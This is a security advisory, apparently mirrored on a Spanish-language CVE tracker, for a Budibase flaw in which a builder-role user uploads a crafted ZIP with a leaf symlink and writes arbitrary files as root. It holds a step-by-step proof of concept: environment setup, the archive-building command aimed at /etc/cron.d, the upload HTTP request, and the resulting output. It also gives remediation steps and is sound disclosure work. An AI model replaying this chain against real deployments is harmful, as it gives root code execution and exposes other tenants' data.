GHSA-37R6-5JXH-VM83
Budibase arbitrary file write as root via ZIP symlink traversal
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-37R6-5JXH-VM83 divulgada · CVSS 9.9 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The PWA icon upload endpoint extracts a user supplied ZIP with `extract-zip@2.0.1`. That library validates only the directory component of each entry, never the leaf. A ZIP whose leaf entry is a symlink, followed by a second entry of the same name, causes the extractor to write through the symlink to any absolute path on the host. Budibase containers run as root, so this is arbitrary file creation and overwrite as root, which is a direct path to remote code execution.
The attacker needs only the BUILDER role on a single workspace, which is a routinely delegated, low trust role in a multi tenant Budibase deployment.
Root cause
Two defects compose. Neither is sufficient alone.
1. `extract-zip@2.0.1` validates only the directory component. In its `index.js`:
const destDir = path.dirname(path.join(this.opts.dir, entry.fileName))
await fs.mkdir(destDir, { recursive: true })
const canonicalDestDir = await fs.realpath(destDir)
const relativeDestDir = path.relative(this.opts.dir, canonicalDestDir)
if (relativeDestDir.split(path.sep).includes('..')) { throw ... }It resolves `path.dirname(entry)` and never canonicalises the leaf. It then creates symlink entries unconditionally and writes regular entries with a plain write stream, which follows an existing symlink.
2. Budibase's own entry hook enforces no type or path safety. `validatePWAZipEntries()` in `packages/server/src/api/controllers/static/index.ts:84-127` checks only directory depth, file count, per entry size and total uncompressed size. It never inspects `externalFileAttributes` for `S_IFLNK`, never rejects `..`, and never rejects duplicate entry names.
The exploit therefore places the symlink at the leaf, so the entry's directory is legitimately inside the destination and guard 1 passes, then writes a second entry of the same name through it.
The route carries only `authorized(BUILDER)` (`packages/server/src/api/routes/static.ts:24`), and `checkAuthorized` resolves `isBuilder` per workspace (`packages/server/src/middleware/authorized.ts:36-49`).
Part 1: how to create the vulnerable environment
Step 1. Run the official image, bound to loopback only.
bash poc/bb01-e2e.sh # does everything below, or run the pieces by hand:
docker run -d --name bb-poc -p 127.0.0.1:10000:80 budibase/budibase:latestStep 2. Confirm the image is affected. Both checks come back positive on the released image:
$ docker exec bb-poc cat /app/package.json | head -5
{ "name": "@budibase/server", "version": "v3.42.0-cloud", ... }
$ docker exec bb-poc grep -m1 version /node_modules/extract-zip/package.json
"version": "2.0.1" <- the vulnerable, unpatchable dependency
$ docker exec bb-poc grep -rl "pwa/process-zip" /app
/app/dist/index.js <- the vulnerable route is in the shipped bundle
$ docker exec bb-poc id
uid=0(root) gid=0(root) groups=0(root) <- the process runs as rootNo Budibase Dockerfile contains a `USER` directive, which is what turns a file write into a root compromise.
Step 3. Create an account and grant it the BUILDER role on one workspace. Capture the session cookie, the `x-budibase-app-id`, and the CSRF token from `GET /api/global/self`.
Part 2: exploitation, step by step
Step 1: prove the guard exists (negative control)
Run the naive version first, where the symlink is a directory component. This is important context: the library's guard is not absent, it is incomplete, and showing that strengthens the report.
bash poc/negative-control-test.sh--- zip contents ---
icons SYMLINK mode=0o120777
icons/PWNED.txt file
extraction threw: Out of bound path "/root/.../escape" found while processing file icons/PWNED.txt
>>> NOT CONFIRMED: nothing escaped the destination directoryThe guard fires correctly. A naive Zip Slip does not work here.
Step 2: the leaf symlink bypass, in isolation
Now place the symlink at the leaf and add a duplicate entry of the same name.
bash poc/isolated-primitive-test.sh--- zip contents ---
payload.txt SYMLINK
payload.txt file
manifest.json file
--- victim file BEFORE ---
ORIGINAL-CONTENT-DO-NOT-TOUCH
extraction completed WITHOUT error
--- victim file AFTER (outside the extraction dir) ---
OWNED-BY-ZIP-SYMLINK-TRAVERSAL
>>> CONFIRMED: file OUTSIDE the extraction directory was OVERWRITTENNote that extraction completed without raising.
Step 3: build the malicious archive
python3 poc/make_symlink_zip2.py evil.zip /etc/cron.d/pwnThe generator writes three entries: a leaf symlink pointing at the absolute target, a regular file of the same name carrying the payload, and a benign `manifest.json` so the surrounding handler logic proceeds normally.
Step 4: upload it
POST /api/pwa/process-zip HTTP/1.1
Host: 127.0.0.1:10000
Cookie: <builder session>
x-csrf-token: <token from GET /api/global/self>
x-budibase-app-id: app_dev_f0ccb2c81cd449dba0cf5cc84c2c9456
Content-Type: multipart/form-data; boundary=...
(file=evil.zip)Response:
HTTP/1.1 400 Bad Request
{"message":"No valid icons found in the zip file","status":400}Step 5: verify the write happened anyway
$ docker exec bb-poc ls -la /etc/cron.d/bb01-proof
-rw-r--r-- 1 root root 31 Aug 20 18:48 /etc/cron.d/bb01-proof
$ docker exec bb-poc cat /etc/cron.d/bb01-proof
OWNED-BY-ZIP-SYMLINK-TRAVERSALA previously non existent file was created at an attacker chosen absolute path, owned by root, from a single authenticated HTTP request.
The most important detail in this finding: the endpoint returned `400` and the request appears to have failed, because PWA manifest validation runs *after* extraction. The filesystem damage is already done. An operator watching HTTP status codes or application logs sees a rejected upload, not an attack. This makes the vulnerability notably stealthy.
Expected versus observed
| | Patched build | This build |
|---|---|---|
| Symlink as directory component | Rejected, "Out of bound path" | Rejected, "Out of bound path" |
| Symlink as leaf component | Rejected, or extraction throws | Completes with no error |
| Victim file outside destination | Unchanged | Created or overwritten |
| HTTP status | `400` | `400`, identical |
Note that the HTTP status is `400` in both cases, so the response proves nothing. Only the filesystem does.
Impact
A user holding only the builder role on a single workspace can write arbitrary files as root on the host. Writing a valid `cron.d` entry, overwriting a `.js` module the server loads, or replacing a service start script converts this directly into root command execution and full instance compromise, exposing every other tenant's applications, datasource credentials and the embedded CouchDB.
Remediation
- Replace `extract-zip`. It is unmaintained and there is no fix. Adopt an extractor that canonicalises the full destination path for every entry, leaf included.
- In `validatePWAZipEntries()`, reject any entry whose Unix mode is not a regular file or directory:
- Reject entry names containing `..` or a leading `/`, and reject duplicate entry names within a single archive.
- Open entry writes with `O_NOFOLLOW` semantics, `fs.createWriteStream(dest, { flags: "wx" })`, so a pre existing symlink cannot be written through.
- Set a non root `USER` in the Budibase Dockerfiles so a future file write defect does not immediately imply root compromise.
- Validate the manifest before extraction, or extract into a disposable sandbox, so a rejected upload cannot leave filesystem side effects.
Files in this bundle
| Path | What it is |
|---|---|
| `poc/make_symlink_zip2.py` | Builds the malicious archive. Takes an output path and the absolute target to write. |
| `poc/negative-control-make-zip.py` | Builds the naive directory symlink variant, for the control |
| `poc/isolated-primitive-test.sh` | Proves the leaf symlink bypass against `extract-zip@2.0.1` in isolation |
bb01-e2e.sh https://github.com/user-attachments/files/31299156/bb01-e2e.sh
isolated-primitive-test.sh https://github.com/user-attachments/files/31299159/isolated-primitive-test.sh
make_symlink_zip2.py https://github.com/user-attachments/files/31299161/make_symlink_zip2.py
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.45.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-37r6-5jxh-vm83Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
